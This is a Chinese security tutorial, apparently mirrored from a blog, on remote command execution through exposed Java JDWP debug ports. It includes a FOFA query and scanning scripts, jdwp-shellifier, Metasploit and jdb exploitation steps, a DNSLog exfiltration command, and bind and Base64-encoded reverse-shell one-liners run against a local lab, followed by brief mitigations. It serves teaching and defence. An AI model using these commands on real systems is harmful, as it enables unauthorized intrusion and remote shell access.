7

浅析JDWP远程命令执行漏洞

 2 years ago
source link: https://www.mi1k7ea.com/2021/08/06/%E6%B5%85%E6%9E%90JDWP%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 前言

0x01 基本概念

JPDA(Java Platform Debugger Architecture)即Java平台调试体系架构,其整体架构如图:

2.png

整体分为三层:

  • JVMTI:Java VM Tool Interface即JVM工具接口。Debuggee即被调试者是由被调试的应用程序(未显示)、运行应用程序的VM和调试器后端组成。为了可远程调试,JVM实例必须使用命令行参数-Xdebug以及参数-Xrunjdwp(或-agentlib)显式启动。其中调试器后端是使用JVMTI来定义JVM提供的调试服务;
  • JDWP:Java Debug Wire Protocol是Debugger和JVM实例之间的通信协议;
  • JDI:Java Debug Interface即Java调试接口,是JDWP协议的客户端,调试器通过其来远程调试目标JVM中的应用;

JDWP(Java Debugger Wire Protocol)即Java调试线协议,是一个为Java调试而设计的通讯交互协议。在JPDA(Java Platform Debugger Architecture)中,它定义了调试器(Debugger)和被调试的JVM(Debuggee)之间的通信协议。

具体JDWP协议可参考官方文档:https://docs.oracle.com/en/java/javase/11/docs/specs/jdwp/jdwp-protocol.html

0x02 JDWP远程命令执行漏洞

如果目标Java应用开启了JDWP服务且对外开放,则攻击者可利用JDWP实现远程代码执行。

以Windows为例,下载Tomcat到本地,在startup.bat中上面添加如下代码开启debug模式:

SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000

跑起Tomcat即可。

FOFA语法

banner="jdwp"

有三种常用方式来进行JDWP服务探测,原理都是一样的,即向目标端口连接后发送JDWP-Handshake,如果目标服务直接返回一样的内容则说明是JDWP服务。

使用Nmap扫描:

nmap -sT -sV 192.168.192.1 -p 8000

扫描会识别到JDWP服务,且有对应的JDK版本信息:

1.png

Telnet

使用Telnet命令探测,需要马上输入JDWP-Handshake,然后服务端返回一样的内容,证明是JDWP服务:

3.png

使用如下脚本扫描也可以,直接连接目标服务发送JDWP-Handshake,然后接受到相同内容则说明是JDWP服务:

import socket

client = socket.socket()
client.connect(("127.0.0.1", 8000))
client.send(b"JDWP-Handshake")

if client.recv(1024) == b"JDWP-Handshake":
print("[*]JDWP Service!")

client.close()

漏洞利用可借助以下三个工具。

jdwp-shellifier

直接用GitHub上已有的工具:https://github.com/IOActive/jdwp-shellifier

该工具通过编写了一个JDI(JDWP客户端),以下断点的方式来获取线程上下文从而调用方法执行命令。

需要Python2运行。

默认break on是在java.net.ServerSocket.accept方法上,

python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "calc"

直接设置断点函数为java.lang.String.indexOf会更快速:

python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "calc"

4.png

但是前面的命令虽然执行了但是看不到回显,在Linux环境下可以利用DNSLog外带回显:

python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "ping -nc 1 `whoami`.xxx.dnslog.cn"

反弹shell:

python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "ncat -lvvp 1234 -e /bin/bash"
# 下面这种不能直接运行/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1来反弹
# 跟Java的exec()反弹一个原理,可用Base64绕过
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}"

在msf中可以使用exploit/multi/misc/java_jdwp_debugger模块进行攻击利用。

原理是去找sleeping中的线程,然后下发单步指令是程序断下来,从而触发命令执行。

jdb是JDK中自带的命令行调试工具。

这里是按照msf中的方式搞:

  1. attach到远程JDWP服务;
  2. threads命令查看所有线程,查找sleeping的线程;
  3. thread sleeping的线程id,然后stepi进入该线程;
  4. 通过print|dump|eval命令,执行Java表达式从而达成命令执行;

这里本地-attach参数连接会出差,换为下面的方式:

jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8000

执行命令:

eval java.lang.Runtime.getRuntime().exec("calc")

5.png

当然是可以实现直接回显的,可自行研究。

  • 关闭JDWP服务,或限制JDWP服务不对外开放;
  • 关闭Java Debug模式;

0x03 参考

Hacking the Java Debug Wire Protocol – or – “How I met your Java debugger”

https://docs.oracle.com/en/java/javase/11/docs/specs/jpda/architecture.html

JDWP无依赖攻击


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK